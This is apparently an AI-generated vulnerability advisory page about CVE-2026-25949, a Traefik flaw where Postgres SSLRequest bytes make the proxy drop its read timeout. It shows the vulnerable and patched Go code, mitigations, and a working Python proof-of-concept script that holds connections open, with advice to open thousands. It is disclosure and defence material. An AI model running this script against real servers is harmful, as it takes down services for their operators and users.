CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-25949

Traefik's Eternal Wait: Bypassing TCP Timeouts with Postgres Magic Bytes

Alon Barad
Alon Barad
Software Engineer

Feb 12, 2026·6 min read·36 visits

Executive Summary (TL;DR)

A Denial of Service (DoS) vulnerability exists in Traefik versions prior to 3.6.8. By sending a Postgres SSLRequest header (`0x0000000804D2162F`) and then stalling, an attacker can bypass the `readTimeout` setting. Traefik indefinitely waits for a TLS ClientHello that never comes, leading to resource exhaustion.

Traefik, the ubiquitous cloud-native edge router, has a nasty habit of trusting Postgres connections too early. CVE-2026-25949 allows an unauthenticated attacker to bypass configured read timeouts by initiating a Postgres STARTTLS handshake and then simply... stopping. By sending a specific 8-byte sequence, an attacker can trick Traefik into removing its safety deadlines, causing the server to hold the connection open indefinitely. A few thousand of these 'zombie' connections are enough to exhaust file descriptors and goroutines, effectively bricking the load balancer.

The Hook: When Smart Routing Goes Wrong

Traefik is the Swiss Army knife of modern infrastructure. It doesn't just shuffle HTTP requests; it handles TCP, UDP, and does fancy things like SNI routing and protocol detection. To make this magic happen, Traefik often has to 'peek' at the first few bytes of a TCP stream to decide where to send the traffic. It's like a bouncer checking your ID before deciding if you go to the VIP lounge or the dive bar downstairs.

But here's the catch with protocol parsers: they are notoriously fragile state machines. When Traefik is configured to handle Postgres traffic, it looks for a specific handshake—the STARTTLS request. The logic is supposed to be: 'Oh, you speak Postgres? Let me upgrade this connection to TLS for you.'

In CVE-2026-25949, the logic flaw isn't in the parsing itself, but in the trust Traefik grants the connection once it recognizes that handshake. It's the digital equivalent of a bouncer letting you in because you look like a celebrity, only to realize you're just standing in the hallway blocking everyone else, and he's legally not allowed to kick you out.

The Flaw: A Premature Removal of Deadlines

In Go networking, timeouts are your lifeline. You set a SetReadDeadline so that if a client connects but says nothing, the server kills the connection after a few seconds. This prevents 'Slowloris' style attacks. Traefik has a configuration specifically for this called respondingTimeouts.readTimeout.

The vulnerability lies in how Traefik handled the transition from a raw TCP connection to a Postgres-specific handler. When Traefik's TCP router peeked at the bytes and saw the Postgres SSLRequest magic bytes (0x0000000804D2162F), it immediately decided, 'Okay, we are doing a TLS handshake now. Handshakes can take time, so let's disable the generic read timeout.'

Crucially, it disabled the timeout before the TLS handshake actually completed. It cleared the deadline (conn.SetDeadline(time.Time{})) the moment it saw the Postgres bytes. This created a window where the connection had no timeout enforcement whatsoever. If the attacker sends the magic bytes and then simply goes to sleep, Traefik waits. And waits. And waits. Forever.

The Code: The Smoking Gun

Let's look at the actual code change in commit 31e566e9f1d7888ccb6fbc18bfed427203c35678. The vulnerability lived in pkg/server/router/tcp/router.go. The developers were too eager to clear the deadline.

The Vulnerable Code (Before):

// pkg/server/router/tcp/router.go
if postgres {
    // DANGER: Clearing the deadline immediately upon detection!
    if err := conn.SetDeadline(time.Time{}); err != nil {
        log.Error().Err(err).Msg("Error while setting deadline")
    }
    // Hand off to the Postgres handler
    r.servePostgres(r.GetConn(conn, getPeeked(br)))
    return
}

The fix was simple but critical: move the deadline removal inside the servePostgres function, and only execute it after the ClientHello has been successfully parsed. This ensures that the time spent waiting for the client to send the TLS Hello is still governed by the read timeout.

The Fix (After):

// pkg/server/router/tcp/postgres.go
func (r *Router) servePostgres(conn net.Conn) {
    // ... code to write 'S' response ...
    
    // Wait for the ClientHello (still under the original timeout)
    hello, err := clientHelloInfo(br)
    if err != nil {
        conn.Close()
        return
    }
 
    // SAFE: Only clear the deadline AFTER we have a valid handshake
    if err := conn.SetDeadline(time.Time{}); err != nil {
        log.Error().Err(err).Msg("Error while setting deadline")
    }
    // ... proceed with routing ...
}

The Exploit: How to Brick a Load Balancer

Exploiting this is trivially easy. You don't need shellcode. You don't need complex heap grooming. You just need Python and a socket. The attack works by emulating the first half of a Postgres handshake and then ghosting the server.

Here is the attack logic:

  1. Connect to the Traefik TCP entrypoint.
  2. Send the 8-byte Postgres SSLRequest payload: \x00\x00\x00\x08\x04\xd2\x16\x2f.
  3. Receive the single byte response S from Traefik (confirming it's ready for SSL).
  4. Wait. Do nothing. Close nothing.

Because Traefik has cleared the deadline, this connection is now immortal. It consumes a file descriptor and a goroutine. If you spawn 5,000 of these concurrent connections, you will hit the operating system's ulimit -n (file descriptor limit) or exhaust RAM via goroutine stack allocation. The server stops accepting new connections. Game over.

import socket
import time
 
# The Magic Bytes: Length (8) + Protocol (SSLRequest)
POSTGRES_MAGIC = b'\x00\x00\x00\x08\x04\xd2\x16\x2f'
 
def zombie_connection(target, port):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target, port))
    s.send(POSTGRES_MAGIC)
    # Read the 'S' response
    s.recv(1)
    # Now we sleep forever, holding the FD open
    while True:
        time.sleep(60)

The Impact: Why You Should Care

You might think, "It's just a DoS, it's not data theft." While true, for a component like Traefik—which sits at the edge of your infrastructure—availability is the single most important metric. If Traefik goes down, everything behind it goes dark.

This attack is particularly dangerous because it is asymmetric. The attacker uses negligible bandwidth and CPU. They send 8 bytes and sleep. The victim, however, holds expensive resources. A single attacker with a laptop on a residential connection can topple a production-grade cluster if connection limits aren't strictly enforced at the firewall level.

Furthermore, because the connection is technically 'established' and idle, it might fly under the radar of simplistic WAFs or rate limiters that only look for high-volume HTTP requests. It looks like a slow DB connection, which is common in many environments.

The Fix: Mitigation & Remediation

The immediate fix is to upgrade to Traefik v3.6.8. This version correctly defers the deadline removal until the handshake is complete.

If you cannot upgrade immediately, your mitigation options are limited but helpful:

  1. Strict Connection Limits: Use maxConnections on your entrypoints. While an attacker can still fill this table, it prevents the process from crashing entirely due to OOM or FD exhaustion, potentially preserving other entrypoints.
  2. External Timeouts: If you are behind a cloud Load Balancer (like AWS ELB), configure strict idle timeouts there. The ELB will eventually kill the connection if no data flows, regardless of what Traefik thinks.
  3. Monitoring: Alert on high counts of connections in the ESTABLISHED state that have zero throughput.

Official Patches

TraefikTraefik v3.6.8 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected Systems

Traefik Proxy (Versions < 3.6.8)

Affected Versions Detail

Product
Affected Versions
Fixed Version
Traefik
Traefik Labs
< 3.6.83.6.8
AttributeDetail
CWE IDCWE-400 (Uncontrolled Resource Consumption)
Attack VectorNetwork (Remote)
CVSS v3.17.5 (High)
ImpactDenial of Service (DoS)
Affected ProtocolTCP (Postgres STARTTLS)
Patch Commit31e566e9f1d7888ccb6fbc18bfed427203c35678

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1498Network Denial of Service
Impact
CWE-400
Uncontrolled Resource Consumption

The software does not properly control the allocation and maintenance of a limited resource thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Known Exploits & Detection

Internal ResearchThe vulnerability is trivial to exploit using standard socket libraries by sending the Postgres SSLRequest prelude and pausing.

Vulnerability Timeline

Fix development initiated
2026-01-29
Patch committed to Traefik repository
2026-02-11
CVE-2026-25949 Published
2026-02-12

References & Sources

  • [1]GHSA-89p3-4642-cr2w: Traefik Denial of Service via Postgres STARTTLS
  • [2]PostgreSQL Documentation: SSL Session Encryption

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 15 hours ago•GHSA-7PPR-R889-MCF2
7.5

GHSA-7PPR-R889-MCF2: Unbounded WebSocket Message Aggregation in http4s-blaze-server leads to Denial of Service

An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.

Alon Barad
Alon Barad
6 views•5 min read
•about 16 hours ago•GHSA-95CV-R8X4-VH75
7.6

GHSA-95cv-r8x4-vh75: Path Traversal Vulnerability in OpenList Batch Rename Handler

A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.

Amit Schendel
Amit Schendel
7 views•7 min read
•about 17 hours ago•GHSA-P6PH-3JX2-3337
4.3

GHSA-P6PH-3JX2-3337: Horizontal Privilege Escalation and Metadata Information Disclosure via Bleve Search in OpenList

OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.

Amit Schendel
Amit Schendel
7 views•5 min read
•about 18 hours ago•GHSA-86CX-WWF4-PHQ4
6.5

GHSA-86cx-wwf4-phq4: Path Prefix Confusion Authorization Bypass in OpenList

An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.

Amit Schendel
Amit Schendel
6 views•6 min read
•about 19 hours ago•CVE-2026-16584
7.0

CVE-2026-16584: Security Policy Bypass in AWS API MCP Server via Startup Initialization Failure

A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.

Amit Schendel
Amit Schendel
7 views•7 min read
•about 20 hours ago•GHSA-6V4M-FW66-8R4X
6.5

GHSA-6V4M-FW66-8R4X: Path Disclosure and Shell Expansion Bypass in Shescape

An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.

Alon Barad
Alon Barad
6 views•7 min read